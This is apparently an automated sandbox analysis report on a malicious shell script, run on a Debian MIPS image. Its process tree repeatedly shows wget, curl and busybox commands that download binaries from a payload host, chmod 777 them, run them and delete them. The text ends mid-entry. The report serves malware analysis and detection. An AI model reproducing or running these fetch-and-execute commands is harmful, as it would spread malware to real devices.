8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d

Analysis

max time kernel
100s
max time network
102s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/11/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d.sh
Size 10KB
Sample241107-c8f7lateqg
SHA256 8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d
MD5 217a760ffa6f135ca52775f8d803d9fd
SHA1 01d57b95443c4f437fe15f24cdcfb014f1ae4be2
SHA512 63f1d55bf258d08aeaaa4c17768b3e3bf6be36dc96c945e328d0ed712ac5ae03b6b1886eef962a945aa1a3d5078a14a3e15eb3304d245331d969d406d1b4052c
SSDEEP 96:Yl4l0lZqaqcwPTvLj/3iLibeibOibsb9bZb6LLnnnMQpXrWUL9L9L92zfwXzXPXB:lz3iArbKFp638EtjdrbKFpcYE
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
921	chmod
879	chmod
928	chmod
935	chmod
1019	chmod
759	chmod
825	chmod
886	chmod
752	chmod
859	chmod
963	chmod
970	chmod
984	chmod
998	chmod
1005	chmod
900	chmod
1012	chmod
811	chmod
893	chmod
949	chmod
977	chmod
942	chmod
991	chmod
778	chmod
907	chmod
956	chmod
835	chmod
914	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
885	busybox
927	busybox
941	busybox
973	wget
828	wget
847	curl
974	curl
948	busybox
969	busybox
988	curl
990	busybox
1008	wget
758	busybox
903	wget
938	wget
967	curl
994	wget
755	wget
818	wget
878	busybox
945	wget
980	wget
987	wget
1015	wget
1016	curl
834	busybox
897	curl
906	busybox
962	busybox
966	wget
960	curl
981	curl
762	wget
792	curl
839	wget
918	curl
924	wget
931	wget
932	curl
955	busybox
1002	curl
899	busybox
910	wget
911	curl
725	wget
785	wget
822	curl
854	busybox
882	wget
913	busybox
952	wget
976	busybox
983	busybox
1009	curl
997	busybox
832	curl
872	curl
892	busybox
896	wget
934	busybox
750	busybox
865	wget
925	curl
946	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe	curl
File opened for modification	/tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX	curl
File opened for modification	/tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq	curl
File opened for modification	/tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ	curl
File opened for modification	/tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE	curl
File opened for modification	/tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq	curl
File opened for modification	/tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA	curl
File opened for modification	/tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f	curl
File opened for modification	/tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2	curl
File opened for modification	/tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC	curl
File opened for modification	/tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE	curl
File opened for modification	/tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2	curl
File opened for modification	/tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC	curl
File opened for modification	/tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm	curl
File opened for modification	/tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov	curl
File opened for modification	/tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm	curl
File opened for modification	/tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ	curl
File opened for modification	/tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC	curl
File opened for modification	/tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC	curl
File opened for modification	/tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe	curl
File opened for modification	/tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9	curl
File opened for modification	/tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA	curl
File opened for modification	/tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye	curl
File opened for modification	/tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f	curl
File opened for modification	/tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9	curl
File opened for modification	/tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov	curl
File opened for modification	/tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX	curl
File opened for modification	/tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye	curl

/tmp/8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d.sh
/tmp/8304aea493a338c9ccceeea96071bc1685fc30f2b869d89cc2a7514cfbaf108d.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - System Network Configuration Discovery
  PID:725
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  ./Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - System Network Configuration Discovery
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/chmod
  chmod 777 x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  ./x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - System Network Configuration Discovery
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  PID:773
- /bin/chmod
  chmod 777 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  ./7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - System Network Configuration Discovery
  PID:785
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  PID:804
- /bin/chmod
  chmod 777 b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  ./b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  PID:824
- /bin/chmod
  chmod 777 vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  ./vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod 777 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  ./71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - System Network Configuration Discovery
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - System Network Configuration Discovery
  PID:854
- /bin/chmod
  chmod 777 IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  ./IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  ./7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  ./eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  ./QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  ./jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  ./BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  ./y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  PID:920
- /bin/chmod
  chmod 777 2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  ./2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  ./71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm 71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  ./IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  ./QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  ./7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  ./eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  ./y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  ./2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
